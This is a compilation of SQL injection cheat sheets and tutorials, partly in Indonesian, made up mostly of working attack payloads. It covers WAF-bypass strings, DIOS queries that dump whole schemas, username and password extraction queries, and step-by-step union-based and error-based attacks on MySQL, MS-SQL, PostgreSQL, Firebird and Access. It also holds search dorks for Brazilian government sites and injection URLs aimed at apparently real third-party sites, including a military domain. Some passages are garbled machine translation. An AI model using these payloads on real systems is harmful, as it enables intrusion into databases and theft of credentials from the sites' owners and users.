- --------------------
- %55nion/**/%53elect
- id=null%0A/**//*!50000%55nIOn*//*yoU*/all/**/%0A/*!%53eLEct*/%0A/*AAA*/+1,2,3--+
- 500
- ERROR BYPASS
- --------------------
- and (select 1)=(Select 0xAA)+UnIoN+SeLeCt+1,2,3--+
- **NOTE: if you are in IE,and its ASP site,and you get error 500,goto chrome.**
- 1064
- ERROR BYPASS
- --------------------
- /**/Union/**/Select/**/
- uniunionon+selselectect
- id=(0)union(select(0),version(),(0),(0),(0),(0),(0),(0),(0))
- if you get error 1064 like:
- ...syntax to use near 'union select 1,2,3,4,5,6,7,8,9' at line 1...
- its version 3,use this one
- +or+1+group+by+concat(concat_ws(0x7c,version(),database(),user()),floor(rand(0)*?2))+having+min(0)+or+1--+-
- Error Based Injection
- ---------------------
- Error based injection is deployed on databases which is powered by MS-SQL.
- Database: MY-SQL : PHP
- MS-SQL : .asp or .aspx
- Probelm with Error Based Injection for a Hacker
- -----------------------------------------------
- 1. Version() and database() not works!!
- Solution : @@version
- 2. You can not call all the tables from the given database through information_schema.
- 3. You cannot extract columns of your target table in a go.
- Why it is known as Error Based Injection
- -----------------------------------------
- It means you will get the data in an error.
- Target : vulnweb.com : It is practice framework from a company called Acunetix.
- It has all MY-SQL and MS-SQL technology attack practices.
- Step 1: Get any GET method in the URL of the website. I.e We have to look for any SOmethoing=Something.
- http://testasp.vulnweb.com/showforum.asp?id=0
- Step 2: Check the exception handling.
- http://testasp.vulnweb.com/showforum.asp?id=0'
- Step 3: Check the conditions required for further attack.
- http://testasp.vulnweb.com/showforum.asp?id=0 and 1=0;
- NOte : Error Based Injection works on LIFO rule. Last in First out.
- For Example: If we have a database with tables like followings
- threads -> 1
- teacher->2
- classes->3
- fee->4
- users->5
- Step 4: http://testasp.vulnweb.com/showforum.asp?id=0 and
- 1=convert(int,(select top 1 table_name from information_schema.tables));
- Got Table : 'threads' X
- http://testasp.vulnweb.com/showforum.asp?id=0 and
- 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('threads')));
- Target : 'users'
- Step 5: Get the respective columns of the users table
- http://testasp.vulnweb.com/showforum.asp?id=0 and
- 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('uname')));
- Target Column : uname, upass
- Step 6: Get the uname and upass
- http://testasp.vulnweb.com/showforum.asp?id=0 and
- 1=convert(int,(select top 1 upass from users));
- uname:admin
- upass: none
- ~h
- D I O S B Y P A S S
- DIOS MRFMR
- concat(0x494e4a454354204259204d522e464d52,0x3c62723e,/*!00000/*!00000(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,database(),0x3a3a,table_name,0x203a3a20,column_name))))x)*/)
- DIOS MRFMR WAF
- /*!00000concat*/(0x3C666F6E7420666163653D224963656C616E6422207374796C653D22636F6C6F723A7265643B746578742D736861646F773A307078203170782035707820233030303B666F6E742D73697A653A33307078223E496E6A6563746564206279204D722E464D5220782054333735344B315431203C2F666F6E743E3C62723E3C62723E3C666F6E7420636F6C6F723D626C61636B2073697A653D353E44622056657273696F6E203A20,version(),0x3c62723e44622055736572203a20,user(),0x3C62723E2053796D203A,@@HAVE_SYMLINK,0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x))
- DIOS WAF
- (Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))
- DIOS SULE
- Concat(0x3c43656e7465723e,0x3c466f6e7420436f6c6f723d22526564223e,0x3c62723e,0x3c62723e,0x3c62723e,0x3c62723e,0x4696e6a6563746564206279202e2f53756c6547616e73,0x3c62723e,0x3c62723e,0x566572736920,0x3a,Version(),0x3c62723e,0x446174616261736520,0x3a,Database(),0x3c62723e,0x5573657220,0x3a,User(),@C:=0x00,If((Select+Count(*)+From+Information_Schema.Columns+Where+Table_Schema=Database()+And+@C:=Concat(@C,0x3c62723e,Table_Name,0x3a,Column_Name)),0x00,0x00),@c,0x3c2f466f6e743e,0x3c2f43656e7465723e)
- DUMP
- (SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(namadb.namatable)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,0x7e,password,0x3c62723e))))x)
- (/*!50000SELECT(@x*/)/*!50000FROM*/(/*!50000SELECT(@x:=0x00*/) ,(/*!50000SELECT(@x*/)/*!50000FROM*/(miat_web2014.tbladmin)/*!50000WHERE*/(@x)/*!50000IN*/(@x:=/*!50000CONCAT*/(0x20,@x,adminName,0x7e,adminpass,0x3c62723e))))x)
- LOKOMEDIA
- 'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+
- DIOS WAF MOD SECURITY
- /*!50000CONCAT*/(0x3c43656e7465723e,0x496e6a656374696f6e204279204d72765f323331,0x3c62723e,0x3c62723e,version/***/(),0x3c62723e,database/**/(),0x3c62723e,user/**/(),@C:=0x3c62723e,If((/!50000Select*/+Count()+/!50000From*/+/*!50000Information_Schema*/.Columns+/*!50000Where*/+Table_Schema=database/***/()+And+@C:=/!50000CONCAT*/(@C,0x3c62723e,/*!50000Table_Name*/,0x3a,0x3a,0x3a,0x3a,/*!50000Column_Name*/)),0x3a,0x00),@C)
- ~hl
- Beberapa injector hanya memakai query bypass tanpa menganalisa bagian kata yg di block oleh WAF ( Web Aplication Firewall )
- Sebelum nya Testing dlu :D
- kalau Order by ga work . coba pakai group+by :D
- http://www.webshit.com/vulnscript.php?id=1+order+by+1--+-
- http://www.webshit.com/vulnscript.php?id=1+group+by+1--+-
- ----------------------------------------
- http://www.webshit.com/vulnscript.php?id=1+union--+- [waf]
- http://www.webshit.com/vulnscript.php?id=1+select--+- [No waf]
- brarti fungsi union di block .
- kita coba bypass dngan kombinasi Uppercase dan lowercase .
- http://www.webshit.com/vulnscript.php?id=1+uNiOn--+- [waf Bypassed]
- atau klo masih kena Waf
- http://www.webshit.com/vulnscript.php?id=2 /*!uNiOn*/--+-
- atau
- http://www.webshit.com/vulnscript.php?id=1+/*!50000uNiOn*/--+-
- okay bypassed :D
- -------------------------------------
- tahap berikut nya Union Select
- http://www.webshit.com/vulnscript.php?id=1+union--+- [no waf]
- http://www.webshit.com/vulnscript.php?id=1+select--+- [no waf]
- tapi saat
- http://www.webshit.com/vulnscript.php?id=1+union+select--+- [Waf]
- brarti Waf block kombinasi kata union select ..
- kita bs bypass dgn
- http://www.webshit.com/vulnscript.php?id=1+union+distinctROW+select--+-
- atau
- http://www.webshit.com/vulnscript.php?id=1+union%23%0aselect--+-
- yuhuu Bypassed :D
- ---------------------------------------
- Bypass dengan url Encode jg bs
- http://www.webshit.com/vulnscript.php?id=1+%75Nion+%73eLect--+-
- %75 = u
- %73 = s
- ----------------------------------------
- http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1--+- [no waf]
- http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1,2--+- [waf]
- Hmm ketika menambah (,) kena waf , brarti koma harus dibypass :D
- http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1,~~2--+- [bypassed]
- http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1,~~2,~~3,~~4,~~5--+- [bypassed]
- atau
- http://www.webshit.com/vulnscript.php?id=1+uNiOn(/**_**/(seLeCt(1),(2),(3),(4),(5))-- - [bypassed]
- atau dgn method join :v
- ----------------------------------------
- beberapa injector menggunakan UnionOnOn / informationmation_schema_schema tnpa tau maksud query itu :p
- oke skrang kita cari tau :v
- live target :
- http://zixem.altervista.org/SQLi/level3.php?item=3'+union--+-
- hasil :
- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'uni-- -'' at line 1
- dari situ kita bs liat kalau "on" pada "union" hilang :v
- bagaimana bypass nya ??
- tambahin aja on di union nya jadi unionon :v
- http://zixem.altervista.org/SQLi/level3.php?item=3'+unionon--+-
- wokee bypassed :D
- selanjutnya sperti biasa
- http://zixem.altervista.org/SQLi/level3.php?item=3%27+and+0+unionon+select+concat(%27versailles%20::%20%27,version()),2,4,5--+-
- ###############################
- Alternativ bypass union select jika langkah diatas blm bs bypass .
- uni<>on sel<>ect
- uni*on sel*ect
- (uni)(on) (sel)(ect)
- uni[]on sel[]ect
- uni\on sel\ect
- ###############################
- Thanks
- SQLI Tutorial - Beginners
- http://www.ikar.ru/eng/research.php?id=1+and+1=0+union+select+1,2,concat(Login,0x3a,Password,0x3a,Status),4,5+FROM+Users+limit+0,1
- http://www.njgsca.org/blog.php?id=-1+union+select+1,username,3,4,5,6,7%20from%20users
- -h
- SQL INJECTION BYPASSES TRICKS :)
- 1-?name=Thomas'%20GROUP%20BY%20100%20asc%23
- 2-?name=Thomas'-%20.1GROUP%20BY%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100%20asc%23
- 3-?name=Thomas'- .1/*!50000group*/%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
- aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
- aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
- aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
- aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
- aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
- aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
- aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
- aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
- aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
- aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
- aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
- aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%0aby --+%0A100;%00
- 4-?name=Thomas'- .1INTO @%60
- 4,1-?name=Thomas'- .1INTO @,@%60
- 4,2-?name=Thomas'- .1INTO @,@,@--
- 4,3-?name=Thomas'- .1INTO @,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@
- ,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@
- ,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@ ;%00
- 5-?name=Thomas'- .1/*!50000group*//*** ^ ***/By --+%0A100;%00
- 6-?name=Thomas'orderby100--- (let me know if you get normal error here no waf)
- Retrieving Columns By Using PROCEDURE ANALYSE()
- 7-?name=Thomas' PROCEDURE ANALYSE() Get the first column's name
- 7,1-?name=Thomas' LIMIT 1,1 PROCEDURE ANALYSE() Get the second column's name
- 7,2-?name=Thomas' LIMIT 2,1 PROCEDURE ANALYSE() Get the third column's name
- 8-?name=Thomas',0;--+;%00 <<< Play Here With Zero Number >>> 0;--+;%00
- 0;--+;%00
- 1;--+;%00
- 2;--+;%00
- ETC.
- 9-?name=Thomas'%0D%0Aorder%0D%0Aby 100--
- 10-?name=Thomas'%0Bgroup%0Bby%0A1,2%23
- 11-?name=Thomas'/*!50000union*/-- (let me know if you get normal error here no waf)
- 12-?name=Thomas' or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow-1--
- 13-?name=Thomas'%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aunion-- (let me know if you get normal error here no waf)
- 14-?name=Thomas'%20And .0UnIOn--%20-%0ASeLe%43t-1--
- 15?name=Thomas'%75%6e%69%6f%6e--%20-%0%73%65%6c%65%63%74-1--
- 16-?name=Thomas'||!{f`id`}union-- a%0Aselect@--
- 17-?name=Thomas'||!{f`id`}/*!00000union*/-- (let me know if you get normal error here no waf)
- 18-?name=LlRob21hcydHcm95cCBieSAxMDAtLSAt (let me know what happen here)
- -rkx
- CATEGORIES: SQL INJECTION
- inurl:"gov.br" & inurl:"id=" & intext:"warning: mysql_fetch_assoc()
- inurl:"gov.br" & inurl:"id=" & intext:"warning: mysql_fetch_array()
- inurl:"gov.br" & inurl:"id=" & intext:"warning: mysql_num_rows()
- inurl:"gov.br" & inurl:"id=" & intext:"warning: session_start()
- inurl:"gov.br" & inurl:"id=" & intext:"warning: getimagesize()
- inurl:"gov.br" & inurl:"id=" & intext:"warning: is_writable()
- inurl:"gov.br" & inurl:"id=" & intext:"warning: unknown()
- inurl:"gov.br" & inurl:"id=" & intext:"warning: mysql_result()
- inurl:"gov.br" & inurl:"id=" & intext:"warning: pg_exec()
- inurl:"gov.
- You can change the domain what ever you want :)
- -h
- INTERBASE - FIREBIRDSQL
- http://www.hca.aer.mil.br/externo/index.php?pag=noticias/exibir_noticias.php?id=361/**/and/**/1=user
- http://www.hca.aer.mil.br/externo/index.php?pag=noticias/exibir_noticias.php?id=361/**/and/**/1=(select/**/first/**/1/**/rdb$field_name/**/from/**/rdb$relation_fields)--
- http://www.infomedia.by/image.php?operator=2)+and+1=2+union+select+rdb$field_name,2+from+rdb$relation_fields -
- http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+rdb$relation_name+from+rdb$relation_fields) -
- http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+distinct+rdb$relation_name+from+rdb$relations+where+rdb$system_flag=0) -
- http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+skip+n+distinct+rdb$relation_name+from+rdb$relations+where+rdb$system_flag=0) -
- http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+skip+n+rdb$field_name+from+rdb$relation_fields+where+rdb$system_flag=0+and+rdb$relation_name=ascii_char(83)||ascii_char(85)||ascii_char(66)||ascii_char(83)) -
- http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+skip+0+distinct+cast(id||name+as+char(777))+from+autor) -
- http://www.infomedia.by/image.php?operator=2)+and+substring((select+first+1+rdb$relation_name+from+rdb$relation_fields)+from+n+for+1)!=ascii_char(63)+and+(1=1))
- http://www.ppc4all.com/category.php?cat=(select+first+1+user+from+rdb$relation_fields)
- rdb$relation_name - name of the table
- rdb$system_flag - belong to the system table (a good way of screening, 1 = System)
- rdb$field_name - obvious from the name
- rdb$system_flag - the same
- rdb$field_position - the serial number field
- rdb$relation_name, rdb $ base_field - define table names
- ©
- -h
- Langkah-1: Memulai dengan Berbasis Union:
- Setiap db menggunakan prinsip yang sama untuk menarik data keluar dari db ofcourse itu pilih menggunakan nama kolom yang tepat.
- Saya tidak akan menjelaskan tentang pilih sebab yang saya tahu tentang itu.
- Langkah-2: Memeriksa Target Untuk Vunl.
- Kode:
- http://www.crookedtree.org/index.php?catid=583 '
- kesalahan telah terjadi dengan database! SELECT *
- DARI bus_kategori
- MANA id = 583 \ '
- Kesalahan MYSQL dengan MYSQL atau MS SQL dengan SQL atau ORACLE dengan ORA atau MS ACCESS dengan Jet dan
- Peringatan: pg_exec () [function.pg-exec] <== PostgreSQL ATAU kesalahan seperti di atas.
- Langkah-3: Mendapatkan Jumlah Kolom
- Untuk Mendapatkan kolom, kami menggunakan metode yang sama yang digunakan dalam urutan db lain dengan kami menggunakan - atau # untuk komentar.
- Kode:
- http://www.crookedtree.org/index.php?catid=583 pesanan dengan 1-- <== tidak ada kesalahan
- http://www.crookedtree.org/index.php?catid=583 pesanan oleh 2-- <== tidak ada kesalahan
- http://www.crookedtree.org/index.php?catid=583 pesanan sebesar 3-- <== tidak ada kesalahan
- http://www.crookedtree.org/index.php?catid=583 pesanan sebesar 4-- <== tidak ada kesalahan
- Kami akan melakukan increament of 1 hingga mendapatkan kesalahan dan kami memiliki kesalahan pada kolom ke-14.
- Itu berarti kita memiliki 13 kolom (error_column_num - 1) = 13.
- Metode lain mengeksekusi query dengan union dan masuk ke kolom I.E
- Kode:
- http://www.crookedtree.org/index.php?catid=-583 union pilih null-- <== kesalahan
- http://www.crookedtree.org/index.php?catid=-583 union pilih null, null-- <== kesalahan
- http://www.crookedtree.org/index.php?catid=-583 union pilih null, null, null-- <== kesalahan
- Kami akan terus menambahkan nol hingga kami mendapatkan halaman kosong atau situs yang dimuat. Metode ini benar-benar anoying Big Grin.
- Langkah-4: Mendapatkan Data untuk Kolom Visble.
- Istilah sebagian besar penggunaan ppl adalah kolom vuln. Sama seperti injeksi Oracle, kita akan menggunakan tipe data Null untuk kolom.
- Pertanyaannya adalah mengapa ????? Karena kita tidak tahu tentang datatype sehingga menggunakan datatype null akan melakukan trik untuk kita.
- dan tentu saja beberapa situs memang memiliki nilai interger sehingga akan digunakan sebagai sebaliknya.
- Kode:
- http://www.crookedtree.org/index.php?catid=-583 UNION PILIH null, null, null, null, null, null, null, null,
- null, null, null, null, null--
- Sekarang dapat melihat halaman dimuat dengan kesalahan keluar (beberapa waktu dimuat tetapi konten yang hilang seperti di situs ini).
- Sekarang apa tapi tidak bisa melihat cetak coulmn di layar. Mari kita lanjutkan dengan nilai interger tetapi 0.
- Kode:
- http://www.crookedtree.org/index.php?catid=-583 UNION SELECT 0, null, null, null, null, null, null, null,
- null, null, null, null, null-- <== tidak ada kesalahan
- http://www.crookedtree.org/index.php?catid=-583 UNION SELECT 0,0, null, null, null, null, null, null,
- null, null, null, null, null-- <== tidak ada kesalahan
- http://www.crookedtree.org/index.php?catid=-583 UNION SELECT 0,0,0, null, null, null, null, null,
- null, null, null, null, null-- <== kesalahan
- http://www.crookedtree.org/index.php?catid=-583 UNION SELECT 0,0, null, 0, null, null, null, null,
- null, null, null, null, null-- <== kesalahan
- Akan terus mengganti nol dengan nilai interget "0" sampai mendapat kesalahan. Wow kami memiliki kesalahan pada kolom ke-3 dan ke-4, ada kolom lain yang juga tetapi kami berhenti di sini dan pindah ke langkah berikutnya.
- Ini yang kami cari.
- Langkah-5: Mendapatkan Versi DB
- Sekarang permintaan kami akan sama dengan nol kecuali kolom keempat, akan menggantikannya dengan versi.
- Kode:
- http://www.crookedtree.org/index.php?catid=-583 UNION SELECT null, null, null, version (), null, null, null, null,
- null, null, null, null, null--
- PostgreSQL 8.2.9 pada x86_64-pc-linux-gnu, yang dikompilasi oleh GCC cc (GCC) 4.1.2 (Ubuntu 4.1.2-0ubuntu4)
- Sekarang sudah mendapat versi db Big Grin.
- Langkah-6: Mendapatkan DBz dan Tabel Skema lainnya
- Saya akan memeriksa apakah target ini memiliki db lain atau tidak
- Kode:
- http://www.crookedtree.org/index.php?catid=-583 UNION PILIH null, null, null, datname, null, null, null, null,
- null, null, null, null, null DARI pg_database--
- AAA <== db
- kita hanya melihat satu database pada satu waktu, Sekarang apa yang harus dilakukan hmmm bagaimana menggunakan batas untuk mendapatkan orang lain Big Grin.
- Kode:
- http://www.crookedtree.org/index.php?catid=-583 UNION PILIH null, null, null, datname, null, null, null,
- null, null, null, null, null, null DARI pg_database LIMIT 1 OFFSET 1--
- LIMIT 1 OFFSET 1 <== nilai OFFSET. Jika kita terus mengubah nilai ini maka kita akan mendapatkan db Big Grin berikutnya seperti 1 2 3 .....
- Saya akan menjelaskan cara menggunakan db lain untuk injeksi di tutz lain. Sekarang kita akan pindah ke injeksi kami.
- Langkah-6.1: Sekarang Memperoleh Tabel Skema.
- Kode:
- http://www.crookedtree.org/index.php?catid=-583 UNION PILIH null, null, null,
- table_name, null, null, null, null, null, null, null, null, null DARI INFORMATION_SCHEMA.TABLES--
- buku tambahan
- Bad thing is cant concat hehehe aah jadi apa yang harus dilakukan sekarang. Kami harus menggunakan batas. Saya sudah jelaskan
- bagaimana cara menggunakannya .
- Kode:
- http://www.crookedtree.org/index.php?catid=-583 UNION PILIH null, null, null,
- table_name, null, null, null, null, null, null, null, null, null DARI INFORMATION_SCHEMA.TABLES batas 1 offset 3--
- artist_entry
- ATAU Tabel Dari Skema DB Saat Ini
- Kode:
- http://www.crookedtree.org/index.php?catid=-583 UNION PILIH null, null, null, table_name, null, null,
- null, null, null, null, null, null, null DARI INFORMATION_SCHEMA.TABLES dimana table_schema = current_schema ()
- limit 1 offset 0--
- buku tambahan
- Hanya
- MS-ACCESS INJECTION TUTORIAL
- Jadi kita akan memulai Penyuntikan Kita Secara Manual. Pertama kita harus memeriksa apakah situs Target kami Rentan. Jadi kita akan menggunakan Jenis Penginjeksian biasa dan menambahkan Single Quote 'di bagian akhir Parameter.
- dan Jalankan URL
- http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 '
- Di sini kami mendapat ERROR! !
- KESALAHAN:
- Kesalahan Microsoft JET Database Engine '80040e14'
- Kesalahan sintaks dalam string dalam ekspresi query 'ID = 341' '.
- /dettaglio-news.asp, baris 91
- Jadi Target Kami Rentan. Sebelum Memulai Proses Lain terlebih dahulu, kami harus menyeimbangkan permintaan kami. Kami akan menggunakan Berbagai Komentar untuk menyeimbangkan Permintaan Kami.
- http://www.Vuln-Site.com/dettaglio-news.asp?ID=341--+ Kesalahan!
- KESALAHAN: Kesalahan sintaks (operator tidak ada) dalam ekspresi kueri 'ID = 341--'.
- http://www.Vuln-Site.com/dettaglio-news.asp?ID=341-- Lagi Kesalahan !!
- Sekarang, mari kita periksa null-byte ";% 00"
- http://www.Vuln-Site.com/dettaglio-news.asp?ID=341;% 00 Kesalahan Hilang !!
- jadi akan melanjutkan Injecting Kami Dengan menggunakan Null-Byte di bagian akhir Parameter.
- Sekarang kita harus menghitung Jumlah Kolom. Jadi Untuk Tujuan Ini kita akan menggunakan perintah ORDER BY Biasanya.
- Mari Periksa Jumlah Kolom:
- http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 pesanan sebesar 1;% 00
- Tidak Ada Kesalahan. Halaman Dimuat Secara Normal!
- http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 pesanan sebesar 5;% 00
- Sekali lagi Tidak Ada Kesalahan!
- http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 pesanan sebesar 8;% 00
- Lagi halaman Loaded Biasanya!
- tetapi pada pesanan jam 9 kami sudah mendapat ERROR!
- http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 pesanan sebesar 9;% 00
- KESALAHAN:
- Kesalahan Microsoft JET Database Engine '80040e14'
- Mesin database Microsoft Jet tidak mengenali '9' sebagai nama atau ekspresi lapangan yang valid.
- /dettaglio-news.asp, baris 91
- Jadi Ada 8 Kolom.
- Sekarang Mari Siapkan perintah UNION BASED kami.
- Setelah Melaksanakan Permintaan BERDASARKAN UNION Kami Punya KESALAHAN:
- http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 Union Select 1,2,3,4,5,6,7,8;% 00
- KESALAHAN:
- Kesalahan Microsoft JET Database Engine '80004005'
- Input kueri harus berisi setidaknya satu tabel atau kueri.
- /dettaglio-news.asp, baris 91
- Di sini Comes The Main part.As jumlah kolom kami benar.jadi sepertinya Database adalah mysql 4.
- Sekarang Kita Harus Menebak Tabel dan Kolom. Jadi Pertama-tama kita akan Tebak Tables.
- http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 Union Pilih 1,2,3,4,5,6,7,8 dari Login;% 00
- itu memberi kita ERROR!
- KESALAHAN:
- Kesalahan Microsoft JET Database Engine '80040e37'
- Mesin database Microsoft Jet tidak dapat menemukan tabel input atau query 'login'. Pastikan itu ada dan namanya dieja dengan benar.
- /dettaglio-news.asp, baris 91
- itu artinya tabel ini tidak ada. Mari coba yang lain.
- http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 Union Pilih 1,2,3,4,5,6,7,8 dari tabladmin;% 00
- Masih Sama ERROR !!
- Namun ketika kami mencoba Tabel ADMIN, Kesalahannya Sudah Hilang.
- http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 Union Pilih 1,2,3,4,5,6,7,8 dari admin;% 00
- Pada Tabel ADMIN, Kesalahan hilang dan kita dapat melihat Kolom yang Rentan di Halaman Web.
- Anda dapat melihat 2,3,6 adalah Kolom yang Rentan. Jadi sekarang kita harus Tebak Kolom. Kita akan menempatkan kolom-kolom kita di Kolom-kolom yang Rentan.
- http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 Union Select 1,2, admin_id, 4,5,6,7,8 dari admin;% 00
- Itu Memberi Kita Kesalahan!
- itu Memberi kami Password = "bEx0Th6
- Jadi kami akan melakukan hal yang sama untuk situs lain untuk disuntikkan ke dalam basis data.
- MENGENAI SEMUA INJEKTOR: *
- Menambahkan Tag HTML di Pertanyaan SQL - Tutorial oleh RAi Jee
- Tag HTML dapat digunakan untuk banyak kesenangan dalam kueri SQL. Kita Dapat menggunakan Tag HTML untuk Membuat Hasil Penuh Warna di Output. Kadang-kadang kita menyuntikkan Situs dan Kolom yang Rentan ada di Judul atau di Halaman Sumber sehingga kita Juga Dapat Menggunakan Tag HTML Ada untuk Menunjukkan Output pada Halaman.
- Jadi Kami Akan Mulai Menambahkan Tag HTML Untuk Membuat Output Beberapa Warna Penuh.
- Berikut ini contohnya. Kami ingin Mencetak Versi dalam Warna MERAH Jadi Berikut adalah TAG HTML kami untuk Menampilkan Versi dalam Warna MERAH.
- <font color = red>
- Concat (OUR_HTML_TAG, QUERY_HERE)
- mari Lihat Hasil. Sebelum Melaksanakan Query First Encode HTML TAG di Hex Value atau Use Single Quote Sebelum dan Sesudah Tag HTML Agar Dapat Dieksekusi
- http://www.kimclement.com/basiccal/event.php
- ? id = -444 'UNION SELECT 1,2,3,4,5,6, Concat (' <font color = red> ', versi ()), 8,9 - +
- Dan Anda dapat Lihat Versi dalam warna MERAH. jika kita ingin menggunakan Warna yang Berbeda untuk Setiap Perintah Seperti Menampilkan Versi dalam Warna MERAH, Basis Data dalam Warna Hijau, Pengguna dalam Warna Biru sehingga akan menggunakan Tag HTML yang berbeda untuk setiap Tugas.
- Lihat Contoh.
- Concat (Versi Warna MERAH, Basis Data dalam Warna Hijau, Pengguna dengan Warna Biru)
- Tag HTML Untuk Setiap Tugas:
- Warna merah: <font color = red>
- Warna Hijau: <font color = green>
- Warna Biru: <font color = blue>
- Jadi Pertanyaan Terakhir Kami Untuk Menampilkan Setiap tugas dalam warna yang berbeda Akan menjadi,
- Concat (<font color = red>, versi (), <font color = green>, database (), <font color = blue>, pengguna ())
- Lihat Contoh.
- http://www.kimclement.com/basiccal/event.php
